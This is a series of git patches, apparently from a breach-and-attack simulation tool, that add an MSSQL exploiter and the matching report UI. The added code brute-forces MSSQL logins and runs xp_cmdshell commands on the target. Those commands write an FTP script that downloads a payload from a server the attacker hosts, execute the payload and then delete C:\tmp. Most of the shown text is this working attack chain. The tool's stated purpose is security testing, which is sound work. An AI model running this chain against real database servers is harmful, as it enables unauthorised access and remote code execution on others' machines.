From 149525d205e2b074d0891c706d05e56c690510da Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 26 Jun 2018 17:47:43 +0300 Subject: [PATCH 01/25] Added the MSSQLExploiter class The helper functions and utils are in mssqlexec_utils.py file Everything is documented and this commit is still WIP. * Added the class to the monkey's config file and example. * Added the class to the UI config. * Added the class import to __init__.py file --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/mssqlexec.py | 106 +++++++++++ infection_monkey/exploit/mssqlexec_utils.py | 200 ++++++++++++++++++++ infection_monkey/requirements.txt | 2 + monkey_island/cc/services/config.py | 8 + 7 files changed, 321 insertions(+), 3 deletions(-) create mode 100644 infection_monkey/exploit/mssqlexec.py create mode 100644 infection_monkey/exploit/mssqlexec_utils.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 96d6da9a9..8a18ab7d7 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, MSSQLExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -147,7 +147,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] - exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits + exploiter_classes = [SmbExploiter, WmiExploiter, MSSQLExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux ElasticGroovyExploiter, # multi ] diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index d8cf4b0ca..ef04e7f82 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "MSSQLExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..338e098c2 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py new file mode 100644 index 000000000..41762d9ce --- /dev/null +++ b/infection_monkey/exploit/mssqlexec.py @@ -0,0 +1,106 @@ +from os import path +import logging +import pymssql + +import mssqlexec_utils +from exploit import HostExploiter + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['windows'] + LOGIN_TIMEOUT = 15 + SQL_DEFAULT_TCP_PORT = '1433' + DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + + def __init__(self, host): + super(MSSQLExploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.attacks_list = [mssqlexec_utils.CmdShellAttack] + + def exploit_host(self): + """ + Main function of the mssql brute force + Return: + True or False depends on process success + """ + username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, + self.DEFAULT_PAYLOAD_PATH): + LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) + return True + else: + LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + return False + + def handle_payload(self, cursor, payload): + + """ + Handles the process of payload sending and execution, prepares the attack and details. + + Args: + cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. + payload (string): Payload path + + Return: + True or False depends on process success + """ + + chosen_attack = self.attacks_list[0](payload, cursor) + + if chosen_attack.send_payload(): + LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) + if chosen_attack.execute_payload(): + LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + return True + else: + LOG.error("Payload: {0} couldn't be executed".format(payload)) + else: + LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + + return False + + def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): + """ + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. + + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + payload (str): Local path to the payload + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ + # Main loop + # Iterates on users list + for user, password in users_passwords_pairs_list: + try: + # Core steps + # Trying to connect + conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) + LOG.info('Successfully connected to host: {0}, ' + 'using user: {1}, password: {2}'.format(host, user, password)) + cursor = conn.cursor() + + # Handles the payload and return True or False + if self.handle_payload(cursor, payload): + LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) + return True + else: + LOG.warning("user: {0} and password: {1}, " + "was able to connect to host: {2} but couldn't handle payload: {3}" + .format(user, password, host, payload)) + except pymssql.OperationalError: + # Combo didn't work, hopping to the next one + pass + + LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' + 'aborting brute force'.format(host, port)) + return False diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py new file mode 100644 index 000000000..c5d189076 --- /dev/null +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -0,0 +1,200 @@ + +import os +import multiprocessing +import logging +import socket + +import pymssql + +from pyftpdlib.authorizers import DummyAuthorizer +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer + + +FTP_SERVER_PORT = 1026 +FTP_SERVER_ADDRESS = '' +FTP_SERVER_USER = 'brute' +FTP_SERVER_PASSWORD = 'force' +FTP_WORKING_DIR = '.' + + +class FTP: + + """Configures and establish an FTP server with default details. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + + """ + + def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + """Look at class level docstring.""" + + self.user = user + self.password = password + self.working_dir = working_dir + + def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + + """ Configures and runs the ftp server to listen forever until stopped. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + """ + + # Defining an authorizer and configuring the ftp user + authorizer = DummyAuthorizer() + authorizer.add_user(user, password, working_dir, perm='elradfmw') + + # Normal ftp handler + handler = FTPHandler + handler.authorizer = authorizer + + address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + + # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword + self.server = FTPServer(address, handler) + + # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I + # multiproccess is being used here. + self.server.serve_forever() + + def stop_server(self): + # Stops the FTP server and closing all connections. + self.server.close_all() + + +class AttackHost(object): + """ + This class acts as an interface for the attacking methods class + + Args: + payload_path (str): The local path of the payload file + """ + + def __init__(self, payload_path): + self.payload_path = payload_path + + def send_payload(self): + raise NotImplementedError("Send function not implemented") + + def execute_payload(self): + raise NotImplementedError("execute function not implemented") + + +class CmdShellAttack(AttackHost): + + """ + This class uses the xp_cmdshell command execution and will work only if its available on the remote host. + + Args: + payload_path (str): The local path of the payload file + cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + + """ + + def __init__(self, payload_path, cursor): + super(CmdShellAttack, self).__init__(payload_path) + self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.cursor = cursor + self.attacker_ip = self.__find_own_ip() + + def send_payload(self): + """ + Sets up an FTP server and using it to download the payload to the remote host + + Return: + True if payload sent False if not. + """ + + # Sets up the cmds to run + shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ + echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) + shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) + + shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ + .format(self.payload_path) + shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ + shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] + + # Checking to see if ftp server is up + if self.ftp_server_p and self.ftp_server: + + try: + # Running the cmd on remote host + for cmd in shellcmds: + self.cursor.execute(cmd) + except Exception, e: + logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + self.ftp_server_p.terminate() + return False + return True + else: + logging.error("Couldn't establish an FTP server for the dropout") + return False + + def execute_payload(self): + + """ + Executes the payload after ftp drop + + Return: + True if payload was executed successfully, False if not. + """ + + # Getting the payload's file name + payload_file_name = os.path.split(self.payload_path)[1] + + # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + shellcmd = """DECLARE @i INT \ + EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ + SELECT @i """.format(payload_file_name) + + try: + # Executing payload on remote host + logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + self.cursor.execute(shellcmd) + if self.cursor.fetchall()[0][0] == 0: + # Success + self.ftp_server_p.terminate() + logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + return True + else: + logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + except pymssql.OperationalError: + logging.error('Executing payload: {0} failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + def __init_ftp_server(self): + """ + Init an FTP server using FTP class on a different process + + Return: + ftp_s: FTP server object + p: the process obj of the FTP object + """ + + try: + ftp_s = FTP() + multiprocessing.log_to_stderr(logging.DEBUG) + p = multiprocessing.Process(target=ftp_s.run_server) + p.start() + logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + return ftp_s, p + except Exception, e: + logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + return None, None + + def __find_own_ip(self): + ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] + return ip_list[0] diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 8683987c4..3be45eb02 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,5 @@ six ecdsa netifaces ipaddress +pymssql +pyftpdlib diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2887bf5a3..8726428bd 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -38,6 +38,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, +{ + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -615,6 +622,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From b46810e02b9db7e4d211b2cb9426750e53c58161 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 27 Jun 2018 21:30:54 +0300 Subject: [PATCH 02/25] * Finalized the MS-SQL code * Changed the log to the right handle and added exceptions info. * better docs and some pep 8 --- infection_monkey/exploit/mssqlexec.py | 1 + infection_monkey/exploit/mssqlexec_utils.py | 24 +++++++++++-------- .../payloads/mssqlexec_payload.bat | 1 + 3 files changed, 16 insertions(+), 10 deletions(-) create mode 100644 infection_monkey/payloads/mssqlexec_payload.bat diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 41762d9ce..54207d009 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -1,5 +1,6 @@ from os import path import logging + import pymssql import mssqlexec_utils diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index c5d189076..13509f0f0 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -1,4 +1,3 @@ - import os import multiprocessing import logging @@ -11,12 +10,17 @@ from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer +__author__ = 'Maor Rayzin' + + FTP_SERVER_PORT = 1026 FTP_SERVER_ADDRESS = '' FTP_SERVER_USER = 'brute' FTP_SERVER_PASSWORD = 'force' FTP_WORKING_DIR = '.' +LOG = logging.getLogger(__name__) + class FTP: @@ -131,12 +135,12 @@ class CmdShellAttack(AttackHost): for cmd in shellcmds: self.cursor.execute(cmd) except Exception, e: - logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() return False return True else: - logging.error("Couldn't establish an FTP server for the dropout") + LOG.error("Couldn't establish an FTP server for the dropout") return False def execute_payload(self): @@ -151,27 +155,27 @@ class CmdShellAttack(AttackHost): # Getting the payload's file name payload_file_name = os.path.split(self.payload_path)[1] - # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error. shellcmd = """DECLARE @i INT \ EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ SELECT @i """.format(payload_file_name) try: # Executing payload on remote host - logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) self.cursor.execute(shellcmd) if self.cursor.fetchall()[0][0] == 0: # Success self.ftp_server_p.terminate() - logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) return True else: - logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) self.ftp_server_p.terminate() return False except pymssql.OperationalError: - logging.error('Executing payload: {0} failed'.format(payload_file_name)) + LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) self.ftp_server_p.terminate() return False @@ -189,10 +193,10 @@ class CmdShellAttack(AttackHost): multiprocessing.log_to_stderr(logging.DEBUG) p = multiprocessing.Process(target=ftp_s.run_server) p.start() - logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) return ftp_s, p except Exception, e: - logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None def __find_own_ip(self): diff --git a/infection_monkey/payloads/mssqlexec_payload.bat b/infection_monkey/payloads/mssqlexec_payload.bat new file mode 100644 index 000000000..ce98c4b3e --- /dev/null +++ b/infection_monkey/payloads/mssqlexec_payload.bat @@ -0,0 +1 @@ +dir c:\>c:\tmp\dir.txt \ No newline at end of file From 80d6b327bc5122d921cc5e0ec62804f1ac9ca940 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 11:57:56 +0300 Subject: [PATCH 03/25] * Added MSSQL exploiter report frontend details. --- infection_monkey/exploit/mssqlexec.py | 1 + monkey_island/cc/services/report.py | 16 ++++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 26 +++++++++++++++++-- 3 files changed, 39 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 54207d009..0fae16fe4 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -88,6 +88,7 @@ class MSSQLExploiter(HostExploiter): conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) LOG.info('Successfully connected to host: {0}, ' 'using user: {1}, password: {2}'.format(host, user, password)) + self.report_login_attempt(True, user, password) cursor = conn.cursor() # Handles the payload and return True or False diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..f3774804e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,7 +30,8 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'MSSQLExploiter': 'MSSQL Exploiter' } class ISSUES_DICT(Enum): @@ -43,6 +44,7 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + MSSQL = 9 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -298,6 +300,13 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_mssql_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'mssql' + return processed_exploit + + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +319,8 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'MSSQLExploiter': ReportService.process_mssql_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -430,6 +440,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'mssql': + issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a02a092d..49becf70e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + MSSQL: 9 }; Warning = @@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.MSSQL] ? +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. ( + More Info.)
  • : null } : @@ -693,7 +698,21 @@ class ReportPageComponent extends AuthComponent { ); } - + generateMSSQLIssue(issue) { + return( +
  • + Disable the xp_cmdshell option. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. +
    + The attack was made possible because the target machine used an outdated MSSQL server configuration allowing + the usage of the xp_cmdshell command. +
    +
  • + ); + } generateIssue = (issue) => { let data; @@ -743,6 +762,9 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'mssql': + data = this.generateMSSQLIssue(issue); + break; } return data; }; From aae9704cbb1d5da5ee78dc52fe52c7bfc28015d2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 12:45:14 +0300 Subject: [PATCH 04/25] * Changed the more info tab's location to the right place. --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 49becf70e..cffbdae3e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -328,9 +328,7 @@ class ReportPageComponent extends AuthComponent { href="https://cwiki.apache.org/confluence/display/WW/S2-045"> CVE-2017-5638) : null } {this.state.report.overview.issues[this.Issue.MSSQL] ? -
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. ( - More Info.)
  • : null } +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • : null } : @@ -705,10 +703,10 @@ class ReportPageComponent extends AuthComponent { The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. + className="label label-danger">MSSQL exploit attack attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read Microsoft's documentation.
    ); From 2de474667d06501c495ba729a963171b2f4f5933 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 14:43:38 +0300 Subject: [PATCH 05/25] * Fixed a weird text alignment --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index cffbdae3e..4002f3251 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -703,10 +703,12 @@ class ReportPageComponent extends AuthComponent { The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack attack. + className="label label-danger">MSSQL exploit attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. To learn more about how to disable this feature, read Microsoft's documentation. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read + Microsoft's documentation.
    ); From 782ced912d438a14ce14be61d869366b2997cff2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:01:26 +0300 Subject: [PATCH 06/25] * Added a coverage for the force connection closing in the mssql fingerprinter. --- infection_monkey/network/mssql_fingerprint.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..fb7eb91a3 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger): LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False + except socket.error as e: + if e.errno == socket.errno.ECONNRESET: + LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' + .format(host)) + else: + LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', + exc_info=True) + sock.close() + return False host.services[self.SERVICE_NAME] = {} From 9877b9499c037d1eada1a43be0d6f59457bc00bf Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:29:28 +0300 Subject: [PATCH 07/25] * Using get_interface_to_target function in order to retrieve right ip to use. * changed exception syntax to 'as' instead of ',' * added Object to the FTP class --- infection_monkey/exploit/mssqlexec.py | 2 +- infection_monkey/exploit/mssqlexec_utils.py | 11 ++++++----- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 0fae16fe4..6f920a073 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -51,7 +51,7 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ - chosen_attack = self.attacks_list[0](payload, cursor) + chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) if chosen_attack.send_payload(): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index 13509f0f0..c3666a340 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -5,6 +5,7 @@ import socket import pymssql +from exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer @@ -22,7 +23,7 @@ FTP_WORKING_DIR = '.' LOG = logging.getLogger(__name__) -class FTP: +class FTP(object): """Configures and establish an FTP server with default details. @@ -103,11 +104,11 @@ class CmdShellAttack(AttackHost): """ - def __init__(self, payload_path, cursor): + def __init__(self, payload_path, cursor, dst_ip_address): super(CmdShellAttack, self).__init__(payload_path) self.ftp_server, self.ftp_server_p = self.__init_ftp_server() self.cursor = cursor - self.attacker_ip = self.__find_own_ip() + self.attacker_ip = get_interface_to_target(dst_ip_address) def send_payload(self): """ @@ -134,7 +135,7 @@ class CmdShellAttack(AttackHost): # Running the cmd on remote host for cmd in shellcmds: self.cursor.execute(cmd) - except Exception, e: + except Exception as e: LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() return False @@ -195,7 +196,7 @@ class CmdShellAttack(AttackHost): p.start() LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) return ftp_s, p - except Exception, e: + except Exception as e: LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None From f2d17bcedcc2dc0bca4975160b8c3a2ab687b53a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 17 Jul 2018 18:48:58 +0300 Subject: [PATCH 08/25] * Added a cleanup function to attack's files --- infection_monkey/exploit/mssqlexec.py | 2 ++ infection_monkey/exploit/mssqlexec_utils.py | 19 ++++++++++++++----- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 6f920a073..44748731b 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -57,12 +57,14 @@ class MSSQLExploiter(HostExploiter): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) if chosen_attack.execute_payload(): LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + chosen_attack.cleanup_files() return True else: LOG.error("Payload: {0} couldn't be executed".format(payload)) else: LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + chosen_attack.cleanup_files() return False def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index c3666a340..2089047bb 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -1,7 +1,6 @@ import os import multiprocessing import logging -import socket import pymssql @@ -180,6 +179,20 @@ class CmdShellAttack(AttackHost): self.ftp_server_p.terminate() return False + def cleanup_files(self): + """ + Cleans up the folder with the attack related files (C:\\tmp by default) + :return: True or False if command executed or not. + """ + cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """ + try: + self.cursor.execute(cleanup_command) + LOG.info('Attack files cleanup command has been sent.') + return True + except Exception as e: + LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) + return False + def __init_ftp_server(self): """ Init an FTP server using FTP class on a different process @@ -199,7 +212,3 @@ class CmdShellAttack(AttackHost): except Exception as e: LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None - - def __find_own_ip(self): - ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] - return ip_list[0] From 77610d499435fe3f2879ec8d42fee7ee8e57a54d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 18 Jul 2018 13:26:31 +0300 Subject: [PATCH 09/25] * WIP changing the payload static file to be written on runtime --- infection_monkey/exploit/mssqlexec.py | 2 +- infection_monkey/payloads/mssqlexec_payload.bat | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) delete mode 100644 infection_monkey/payloads/mssqlexec_payload.bat diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 44748731b..590741428 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -16,7 +16,7 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + DEFAULT_PAYLOAD_PATH = path.abspath(r'.monkey_utils\payloads\mssqlexec_payload.bat') def __init__(self, host): super(MSSQLExploiter, self).__init__(host) diff --git a/infection_monkey/payloads/mssqlexec_payload.bat b/infection_monkey/payloads/mssqlexec_payload.bat deleted file mode 100644 index ce98c4b3e..000000000 --- a/infection_monkey/payloads/mssqlexec_payload.bat +++ /dev/null @@ -1 +0,0 @@ -dir c:\>c:\tmp\dir.txt \ No newline at end of file From 5c9e8dc6d05b1512e0e015a0f601c55cab32c45b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" 